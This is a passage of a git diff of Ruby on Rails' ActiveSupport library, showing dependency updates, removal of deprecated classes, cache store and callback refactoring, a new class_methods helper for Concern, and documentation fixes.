@@ -12,9 +12,8 @@ end
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
Dir.glob("test/**/*_test.rb").all? do |file|
- sh(ruby, '-w', '-Ilib:test', file)
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
end or raise "Failures"
end
end
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index ffc2c2074e..f3625e8b79 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -20,9 +20,9 @@ Gem::Specification.new do |s|
s.rdoc_options.concat ['--encoding', 'UTF-8']
- s.add_dependency('i18n', '~> 0.6', '>= 0.6.4')
- s.add_dependency 'json', '~> 1.7'
- s.add_dependency 'tzinfo', '~> 0.3.37'
- s.add_dependency 'minitest', '~> 5.0'
+ s.add_dependency 'i18n', '~> 0.6', '>= 0.6.9'
+ s.add_dependency 'json', '~> 1.7', '>= 1.7.7'
+ s.add_dependency 'tzinfo', '~> 1.1'
+ s.add_dependency 'minitest', '~> 5.1'
s.add_dependency 'thread_safe','~> 0.1'
end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
index 5fefa429df..f39e89b7d0 100755
--- a/activesupport/bin/generate_tables
+++ b/activesupport/bin/generate_tables
@@ -28,12 +28,6 @@ module ActiveSupport
def initialize
@ucd = Unicode::UnicodeDatabase.new
-
- default = Codepoint.new
- default.combining_class = 0
- default.uppercase_mapping = 0
- default.lowercase_mapping = 0
- @ucd.codepoints = Hash.new(default)
end
def parse_codepoints(line)
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index ffa6ffda4f..ab0054b339 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2005-2013 David Heinemeier Hansson
+# Copyright (c) 2005-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -39,7 +39,6 @@ module ActiveSupport
eager_autoload do
autoload :BacktraceCleaner
- autoload :BasicObject
autoload :ProxyObject
autoload :Benchmarkable
autoload :Cache
@@ -53,6 +52,7 @@ module ActiveSupport
autoload :MessageEncryptor
autoload :MessageVerifier
autoload :Multibyte
+ autoload :NumberHelper
autoload :OptionMerger
autoload :OrderedHash
autoload :OrderedOptions
@@ -64,6 +64,12 @@ module ActiveSupport
autoload :Rescuable
autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
autoload :TestCase
+
+ def self.eager_load!
+ super
+
+ NumberHelper.eager_load!
+ end
end
autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index c88ae3e661..d58578b7bc 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -22,7 +22,7 @@ module ActiveSupport
# <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
# backtrace to a pristine state. If you need to reconfigure an existing
# BacktraceCleaner so that it does not filter or modify the paths of any lines
- # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!<tt>
+ # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
# These two methods will give you a completely untouched backtrace.
#
# Inspired by the Quiet Backtrace gem by Thoughtbot.
diff --git a/activesupport/lib/active_support/basic_object.rb b/activesupport/lib/active_support/basic_object.rb
deleted file mode 100644
index 91aac6db64..0000000000
--- a/activesupport/lib/active_support/basic_object.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'active_support/deprecation'
-require 'active_support/proxy_object'
-
-module ActiveSupport
- class BasicObject < ProxyObject # :nodoc:
- def self.inherited(*)
- ::ActiveSupport::Deprecation.warn 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
- super
- end
- end
-end
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
deleted file mode 100644
index 1cd0c2f790..0000000000
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'active_support/deprecation'
-require 'active_support/logger'
-
-module ActiveSupport
- class BufferedLogger < Logger
-
- def initialize(*args)
- self.class._deprecation_warning
- super
- end
-
- def self.inherited(*)
- _deprecation_warning
- super
- end
-
- def self._deprecation_warning
- ::ActiveSupport::Deprecation.warn 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
- end
- end
-end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index c539048a85..a627fa8651 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,7 +3,7 @@ require 'zlib'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/numeric/bytes'
require 'active_support/core_ext/numeric/time'
require 'active_support/core_ext/object/to_param'
@@ -12,10 +12,10 @@ require 'active_support/core_ext/string/inflections'
module ActiveSupport
# See ActiveSupport::Cache::Store for documentation.
module Cache
- autoload :FileStore, 'active_support/cache/file_store'
- autoload :MemoryStore, 'active_support/cache/memory_store'
+ autoload :FileStore, 'active_support/cache/file_store'
+ autoload :MemoryStore, 'active_support/cache/memory_store'
autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
- autoload :NullStore, 'active_support/cache/null_store'
+ autoload :NullStore, 'active_support/cache/null_store'
# These options mean something to all cache implementations. Individual cache
# implementations may support additional options.
@@ -88,25 +88,24 @@ module ActiveSupport
end
private
+ def retrieve_cache_key(key)
+ case
+ when key.respond_to?(:cache_key) then key.cache_key
+ when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
+ when key.respond_to?(:to_a) then retrieve_cache_key(key.to_a)
+ else key.to_param
+ end.to_s
+ end
- def retrieve_cache_key(key)
- case
- when key.respond_to?(:cache_key) then key.cache_key
- when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
- when key.respond_to?(:to_a) then retrieve_cache_key(key.to_a)
- else key.to_param
- end.to_s
- end
-
- # Obtains the specified cache store class, given the name of the +store+.
- # Raises an error when the store class cannot be found.
- def retrieve_store_class(store)
- require "active_support/cache/#{store}"
- rescue LoadError => e
- raise "Could not find cache store adapter for #{store} (#{e})"
- else
- ActiveSupport::Cache.const_get(store.to_s.camelize)
- end
+ # Obtains the specified cache store class, given the name of the +store+.
+ # Raises an error when the store class cannot be found.
+ def retrieve_store_class(store)
+ require "active_support/cache/#{store}"
+ rescue LoadError => e
+ raise "Could not find cache store adapter for #{store} (#{e})"
+ else
+ ActiveSupport::Cache.const_get(store.to_s.camelize)
+ end
end
# An abstract cache store class. There are multiple cache store
@@ -153,7 +152,6 @@ module ActiveSupport
# or +write+. To specify the threshold at which to compress values, set the
# <tt>:compress_threshold</tt> option. The default threshold is 16K.
class Store
-
cattr_accessor :logger, :instance_writer => true
attr_reader :silence, :options
@@ -234,7 +232,7 @@ module ActiveSupport
# bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
# Yes, this process is extending the time for a stale value by another few
# seconds. Because of extended life of the previous cache, other processes
- # will continue to use slightly stale data for a just a big longer. In the
+ # will continue to use slightly stale data for a just a bit longer. In the
# meantime that first process will go ahead and will write into cache the
# new value. After that all the processes will start getting new value.
# The key is to keep <tt>:race_condition_ttl</tt> small.
@@ -359,20 +357,19 @@ module ActiveSupport
#
# Options are passed to the underlying cache implementation.
#
- # Returns an array with the data for each of the names. For example:
+ # Returns a hash with the data for each of the names. For example:
#
# cache.write("bim", "bam")
- # cache.fetch_multi("bim", "boom") {|key| key * 2 }
- # #=> ["bam", "boomboom"]
+ # cache.fetch_multi("bim", "boom") { |key| key * 2 }
+ # # => { "bam" => "bam", "boom" => "boomboom" }
#
def fetch_multi(*names)
options = names.extract_options!
options = merged_options(options)
-
results = read_multi(*names, options)
- names.map do |name|
- results.fetch(name) do
+ names.each_with_object({}) do |name, memo|
+ memo[name] = results.fetch(name) do
value = yield name
write(name, value, options)
value
@@ -385,6 +382,7 @@ module ActiveSupport
# Options are passed to the underlying cache implementation.
def write(name, value, options = nil)
options = merged_options(options)
+
instrument(:write, name, options) do
entry = Entry.new(value, options)
write_entry(namespaced_key(name, options), entry, options)
@@ -396,19 +394,21 @@ module ActiveSupport
# Options are passed to the underlying cache implementation.
def delete(name, options = nil)
options = merged_options(options)
+
instrument(:delete, name) do
delete_entry(namespaced_key(name, options), options)
end
end
- # Return +true+ if the cache contains an entry for the given key.
+ # Returns +true+ if the cache contains an entry for the given key.
#
# Options are passed to the underlying cache implementation.
def exist?(name, options = nil)
options = merged_options(options)
+
instrument(:exist?, name) do
entry = read_entry(namespaced_key(name, options), options)
- entry && !entry.expired?
+ (entry && !entry.expired?) || false
end
end
@@ -451,7 +451,7 @@ module ActiveSupport
# Clear the entire cache. Be careful with this method since it could
# affect other processes if shared cache is being used.
#
- # Options are passed to the underlying cache implementation.
+ # The options hash is passed to the underlying cache implementation.
#
# All implementations may not support this method.
def clear(options = nil)
@@ -585,6 +585,7 @@ module ActiveSupport
result = instrument(:generate, name, options) do |payload|
yield(name)
end
+
write(name, result, options)
result
end
@@ -608,6 +609,7 @@ module ActiveSupport
else
@value = value
end
+
@created_at = Time.now.to_f
@expires_in = options[:expires_in]
@expires_in = @expires_in.to_f if @expires_in
@@ -658,6 +660,7 @@ module ActiveSupport
# serialize entries to protect against accidental cache modifications.
def dup_value!
convert_version_4beta1_entry! if defined?(@v)
+
if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
if @value.is_a?(String)
@value = @value.dup
@@ -672,8 +675,10 @@ module ActiveSupport
if value && options[:compress]
compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+
return true if serialized_value_size >= compress_threshold
end
+
false
end
@@ -696,10 +701,12 @@ module ActiveSupport
@value = @v
remove_instance_variable(:@v)
end
+
if defined?(@c)
@compressed = @c
remove_instance_variable(:@c)
end
+
if defined?(@x) && @x
@created_at ||= Time.now.to_f
@expires_in = @x - @created_at
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 0c55aa8a32..8ed60aebac 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -22,45 +22,34 @@ module ActiveSupport
extend Strategy::LocalCache
end
+ # Deletes all items from the cache. In this case it deletes all the entries in the specified
+ # file store directory except for .gitkeep. Be careful which directory is specified in your
+ # config file when using +FileStore+ because everything in that directory will be deleted.
def clear(options = nil)
root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
end
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
- each_key(options) do |key|
+ search_dir(cache_path) do |fname|
+ key = file_path_key(fname)
entry = read_entry(key, options)
delete_entry(key, options) if entry && entry.expired?
end
end
+ # Increments an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
def increment(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i + amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, amount, options)
end
+ # Decrements an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
def decrement(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i - amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, -amount, options)
end
def delete_matched(matcher, options = nil)
@@ -88,6 +77,7 @@ module ActiveSupport
def write_entry(key, entry, options)
file_name = key_file_path(key)
+ return false if options[:unless_exist] && File.exist?(file_name)
ensure_cache_path(File.dirname(file_name))
File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)}
true
@@ -174,6 +164,22 @@ module ActiveSupport
end
end
end
+
+ # Modifies the amount of an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
+ def modify_value(name, amount, options)
+ file_name = key_file_path(namespaced_key(name, options))
+
+ lock_file(file_name) do
+ options = merged_options(options)
+
+ if num = read(name, options)
+ num = num.to_i + amount
+ write(name, num, options)
+ num
+ end
+ end
+ end
end
end
end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index 512296554f..61b4f0b8b0 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -41,17 +41,15 @@ module ActiveSupport
#
# If no addresses are specified, then MemCacheStore will connect to
# localhost port 11211 (the default memcached port).
- #
- # Instead of addresses one can pass in a MemCache-like object. For example:
- #
- # require 'memcached' # gem install memcached; uses C bindings to libmemcached
- # ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
def initialize(*addresses)
addresses = addresses.flatten
options = addresses.extract_options!
super(options)
- if addresses.first.respond_to?(:get)
+ unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+ raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+ end
+ if addresses.first.is_a?(Dalli::Client)
@data = addresses.first
else
mem_cache_options = options.dup
@@ -87,7 +85,7 @@ module ActiveSupport
instrument(:increment, name, :amount => amount) do
@data.incr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
@@ -101,7 +99,7 @@ module ActiveSupport
instrument(:decrement, name, :amount => amount) do
@data.decr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index 4d26fb7e42..8a0523d0e2 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -36,6 +36,7 @@ module ActiveSupport
end
end
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
instrument(:cleanup, :size => @data.size) do
@@ -122,6 +123,13 @@ module ActiveSupport
end
protected
+
+ PER_ENTRY_OVERHEAD = 240
+
+ def cached_size(key, entry)
+ key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
+ end
+
def read_entry(key, options) # :nodoc:
entry = @data[key]
synchronize do
@@ -139,8 +147,11 @@ module ActiveSupport
synchronize do
old_entry = @data[key]
return false if @data.key?(key) && options[:unless_exist]
- @cache_size -= old_entry.size if old_entry
- @cache_size += entry.size
+ if old_entry
+ @cache_size -= (old_entry.size - entry.size)
+ else
+ @cache_size += cached_size(key, entry)
+ end
@key_access[key] = Time.now.to_f
@data[key] = entry
prune(@max_size * 0.75, @max_prune_time) if @cache_size > @max_size
@@ -152,7 +163,7 @@ module ActiveSupport
synchronize do
@key_access.delete(key)
entry = @data.delete(key)
- @cache_size -= entry.size if entry
+ @cache_size -= cached_size(key, entry) if entry
!!entry
end
end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index fb42c4a41e..73c6b3cb88 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/string/inflections'
+require 'active_support/per_thread_registry'
module ActiveSupport
module Cache
@@ -8,6 +9,8 @@ module ActiveSupport
# duration of a block. Repeated calls to the cache for the same key will hit the
# in-memory cache for faster access.
module LocalCache
+ autoload :Middleware, 'active_support/cache/strategy/local_cache_middleware'
+
# Class for storing and registering the local caches.
class LocalCacheRegistry # :nodoc:
extend ActiveSupport::PerThreadRegistry
@@ -23,6 +26,9 @@ module ActiveSupport
def set_cache_for(local_cache_key, value)
@registry[local_cache_key] = value
end
+
+ def self.set_cache_for(l, v); instance.set_cache_for l, v; end
+ def self.cache_for(l); instance.cache_for l; end
end
# Simple memory backed cache. This cache is not thread safe and is intended only
@@ -60,32 +66,6 @@ module ActiveSupport
def with_local_cache
use_temporary_local_cache(LocalStore.new) { yield }
end
-
- #--
- # This class wraps up local storage for middlewares. Only the middleware method should
- # construct them.
- class Middleware # :nodoc:
- attr_reader :name, :local_cache_key
-
- def initialize(name, local_cache_key)
- @name = name
- @local_cache_key = local_cache_key
- @app = nil
- end
-
- def new(app)
- @app = app
- self
- end
-
- def call(env)
- LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
- @app.call(env)
- ensure
- LocalCacheRegistry.set_cache_for(local_cache_key, nil)
- end
- end
-
# Middleware class can be inserted as a Rack handler to be local cache for the
# duration of request.
def middleware
@@ -106,13 +86,13 @@ module ActiveSupport
def increment(name, amount = 1, options = nil) # :nodoc:
value = bypass_local_cache{super}
- increment_or_decrement(value, name, amount, options)
+ set_cache_value(value, name, amount, options)
value
end
def decrement(name, amount = 1, options = nil) # :nodoc:
value = bypass_local_cache{super}
- increment_or_decrement(value, name, amount, options)
+ set_cache_value(value, name, amount, options)
value
end
@@ -140,8 +120,7 @@ module ActiveSupport
super
end
- private
- def increment_or_decrement(value, name, amount, options)
+ def set_cache_value(value, name, amount, options)
if local_cache
local_cache.mute do
if value
@@ -153,6 +132,8 @@ module ActiveSupport
end
end
+ private
+
def local_cache_key
@local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, '_').to_sym
end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
new file mode 100644
index 0000000000..901c2e05a8
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -0,0 +1,39 @@
+require 'rack/body_proxy'
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+
+ #--
+ # This class wraps up local storage for middlewares. Only the middleware method should
+ # construct them.
+ class Middleware # :nodoc:
+ attr_reader :name, :local_cache_key
+
+ def initialize(name, local_cache_key)
+ @name = name
+ @local_cache_key = local_cache_key
+ @app = nil
+ end
+
+ def new(app)
+ @app = app
+ self
+ end
+
+ def call(env)
+ LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+ response = @app.call(env)
+ response[2] = ::Rack::BodyProxy.new(response[2]) do
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ end
+ response
+ rescue Exception
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ raise
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 2cffa342ef..05ca943776 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -1,19 +1,20 @@
require 'active_support/concern'
require 'active_support/descendants_tracker'
+require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/class/attribute'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/singleton_class'
require 'thread'
module ActiveSupport
- # Callbacks are code hooks that are run at key points in an object's lifecycle.
+ # Callbacks are code hooks that are run at key points in an object's life cycle.
# The typical use case is to have a base class define a set of callbacks
# relevant to the other functionality it supplies, so that subclasses can
# install callbacks that enhance or modify the base functionality without
# needing to override or redefine methods of the base class.
#
# Mixing in this module allows you to define the events in the object's
- # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+ # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
# set the instance methods, procs, or callback objects to be called (via
# +ClassMethods.set_callback+), and run the installed callbacks at the
# appropriate times (via +run_callbacks+).
@@ -88,7 +89,7 @@ module ActiveSupport
private
- # A hook invoked everytime a before callback is halted.
+ # A hook invoked every time a before callback is halted.
# This can be overridden in AS::Callback implementors in order
# to provide better debugging/logging.
def halted_callback_hook(filter)
@@ -130,8 +131,6 @@ module ActiveSupport
end
end
- private
-
def self.halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
lambda { |env|
target = env.target
@@ -148,6 +147,7 @@ module ActiveSupport
next_callback.call env
}
end
+ private_class_method :halting_and_conditional
def self.halting(next_callback, user_callback, halted_lambda, filter)
lambda { |env|
@@ -165,6 +165,7 @@ module ActiveSupport
next_callback.call env
}
end
+ private_class_method :halting
def self.conditional(next_callback, user_callback, user_conditions)
lambda { |env|
@@ -177,6 +178,7 @@ module ActiveSupport
next_callback.call env
}
end
+ private_class_method :conditional
def self.simple(next_callback, user_callback)
lambda { |env|
@@ -184,6 +186,7 @@ module ActiveSupport
next_callback.call env
}
end
+ private_class_method :simple
end
class After
@@ -207,8 +210,6 @@ module ActiveSupport
end
end
- private
-
def self.halting_and_conditional(next_callback, user_callback, user_conditions)
lambda { |env|
env = next_callback.call env
@@ -222,6 +223,7 @@ module ActiveSupport
env
}
end
+ private_class_method :halting_and_conditional
def self.halting(next_callback, user_callback)
lambda { |env|
@@ -232,6 +234,7 @@ module ActiveSupport
env
}
end
+ private_class_method :halting
def self.conditional(next_callback, user_callback, user_conditions)
lambda { |env|
@@ -245,6 +248,7 @@ module ActiveSupport
env
}
end
+ private_class_method :conditional
def self.simple(next_callback, user_callback)
lambda { |env|
@@ -253,6 +257,7 @@ module ActiveSupport
env
}
end
+ private_class_method :simple
end
class Around
@@ -268,8 +273,6 @@ module ActiveSupport
end
end
- private
-
def self.halting_and_conditional(next_callback, user_callback, user_conditions)
lambda { |env|
target = env.target
@@ -287,6 +290,7 @@ module ActiveSupport
end
}
end
+ private_class_method :halting_and_conditional
def self.halting(next_callback, user_callback)
lambda { |env|
@@ -304,6 +308,7 @@ module ActiveSupport
end
}
end
+ private_class_method :halting
def self.conditional(next_callback, user_callback, user_conditions)
lambda { |env|
@@ -321,6 +326,7 @@ module ActiveSupport
end
}
end
+ private_class_method :conditional
def self.simple(next_callback, user_callback)
lambda { |env|
@@ -331,6 +337,7 @@ module ActiveSupport
env
}
end
+ private_class_method :simple
end
end
@@ -542,14 +549,12 @@ module ActiveSupport
@callbacks = nil
@chain.delete_if { |c| callback.duplicates?(c) }
end
-
end
module ClassMethods
-
def normalize_callback_params(filters, block) # :nodoc:
type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
- options = filters.last.is_a?(Hash) ? filters.pop : {}
+ options = filters.extract_options!
filters.unshift(block) if block
[type, filters, options.dup]
end
@@ -575,10 +580,10 @@ module ActiveSupport
#
# set_callback :save, :before_meth
#
- # The callback can specified as a symbol naming an instance method; as a
+ # The callback can be specified as a symbol naming an instance method; as a
# proc, lambda, or block; as a string to be instance evaluated; or as an
# object that responds to a certain method determined by the <tt>:scope</tt>
- # argument to +define_callback+.
+ # argument to +define_callbacks+.
#
# If a proc, lambda, or block is given, its body is evaluated in the context
# of the current object. It can also optionally accept the current object as
@@ -637,19 +642,19 @@ module ActiveSupport
end
# Remove all set callbacks for the given event.
- def reset_callbacks(symbol)
- callbacks = get_callbacks symbol
+ def reset_callbacks(name)
+ callbacks = get_callbacks name
ActiveSupport::DescendantsTracker.descendants(self).each do |target|
- chain = target.get_callbacks(symbol).dup
+ chain = target.get_callbacks(name).dup
callbacks.each { |c| chain.delete(c) }
- target.set_callbacks symbol, chain
+ target.set_callbacks name, chain
end
- self.set_callbacks symbol, callbacks.dup.clear
+ self.set_callbacks name, callbacks.dup.clear
end
- # Define sets of events in the object lifecycle that support callbacks.
+ # Define sets of events in the object life cycle that support callbacks.
#
# define_callbacks :validate
# define_callbacks :initialize, :save, :destroy
@@ -658,10 +663,11 @@ module ActiveSupport
#
# * <tt>:terminator</tt> - Determines when a before filter will halt the
# callback chain, preventing following callbacks from being called and
- # the event from being triggered. This is a string to be eval'd. The
- # result of the callback is available in the +result+ variable.
+ # the event from being triggered. This should be a lambda to be executed.
+ # The current object and the return result of the callback will be called
+ # with the lambda.
#
- # define_callbacks :validate, terminator: 'result == false'
+ # define_callbacks :validate, terminator: ->(target, result) { result == false }
#
# In this example, if any before validate callbacks returns +false+,
# other callbacks are not executed. Defaults to +false+, meaning no value
@@ -716,18 +722,18 @@ module ActiveSupport
# define_callbacks :save, scope: [:name]
#
# would call <tt>Audit#save</tt>.
- def define_callbacks(*callbacks)
- config = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
- if config.key?(:terminator) && String === config[:terminator]
+ def define_callbacks(*names)
+ options = names.extract_options!
+ if options.key?(:terminator) && String === options[:terminator]
ActiveSupport::Deprecation.warn "String based terminators are deprecated, please use a lambda"
- value = config[:terminator]
- l = class_eval "lambda { |result| #{value} }", __FILE__, __LINE__
- config[:terminator] = lambda { |target, result| target.instance_exec(result, &l) }
+ value = options[:terminator]
+ line = class_eval "lambda { |result| #{value} }", __FILE__, __LINE__
+ options[:terminator] = lambda { |target, result| target.instance_exec(result, &line) }
end
- callbacks.each do |callback|
- class_attribute "_#{callback}_callbacks"
- set_callbacks callback, CallbackChain.new(callback, config)
+ names.each do |name|
+ class_attribute "_#{name}_callbacks"
+ set_callbacks name, CallbackChain.new(name, options)
end
end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index b6ae86b583..9d5cee54e3 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -26,7 +26,7 @@ module ActiveSupport
# scope :disabled, -> { where(disabled: true) }
# end
#
- # module ClassMethods
+ # class_methods do
# ...
# end
# end
@@ -105,30 +105,38 @@ module ActiveSupport
end
def self.extended(base) #:nodoc:
- base.instance_variable_set("@_dependencies", [])
+ base.instance_variable_set(:@_dependencies, [])
end
def append_features(base)
- if base.instance_variable_defined?("@_dependencies")
- base.instance_variable_get("@_dependencies") << self
+ if base.instance_variable_defined?(:@_dependencies)
+ base.instance_variable_get(:@_dependencies) << self
return false
else
return false if base < self
@_dependencies.each { |dep| base.send(:include, dep) }
super
- base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
- base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
+ base.extend const_get(:ClassMethods) if const_defined?(:ClassMethods)
+ base.class_eval(&@_included_block) if instance_variable_defined?(:@_included_block)
end
end
def included(base = nil, &block)
if base.nil?
- raise MultipleIncludedBlocks if instance_variable_defined?("@_included_block")
+ raise MultipleIncludedBlocks if instance_variable_defined?(:@_included_block)
@_included_block = block
else
super
end
end
+
+ def class_methods(&class_methods_module_definition)
+ mod = const_defined?(:ClassMethods) ?
+ const_get(:ClassMethods) :
+ const_set(:ClassMethods, Module.new)
+
+ mod.module_eval(&class_methods_module_definition)
+ end
end
end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index e0d39d509f..3dd44e32d8 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -107,7 +107,7 @@ module ActiveSupport
options = names.extract_options!
names.each do |name|
- raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+ raise NameError.new('invalid config attribute name') unless name =~ /\A[_A-Za-z]\w*\z/
reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index 998a59c618..199aa91020 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,4 +1,3 @@
Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].each do |path|
- next if File.basename(path, '.rb') == 'logger'
require path
end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index 79ba79192a..7d0c1e4c8d 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -1,6 +1,5 @@
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/array/uniq_by'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/grouping'
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index 4f1e432b61..67f58bc0fe 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -48,6 +48,8 @@ class Array
end
# Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+ #
+ # (1..42).to_a.forty_two # => 42
def forty_two
self[41]
end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 3807ee63b1..76ffd23ed1 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -82,23 +82,8 @@ class Array
end
end
- # Converts a collection of elements into a formatted string by calling
- # <tt>to_s</tt> on all elements and joining them. Having this model:
- #
- # class Blog < ActiveRecord::Base
- # def to_s
- # title
- # end
- # end
- #
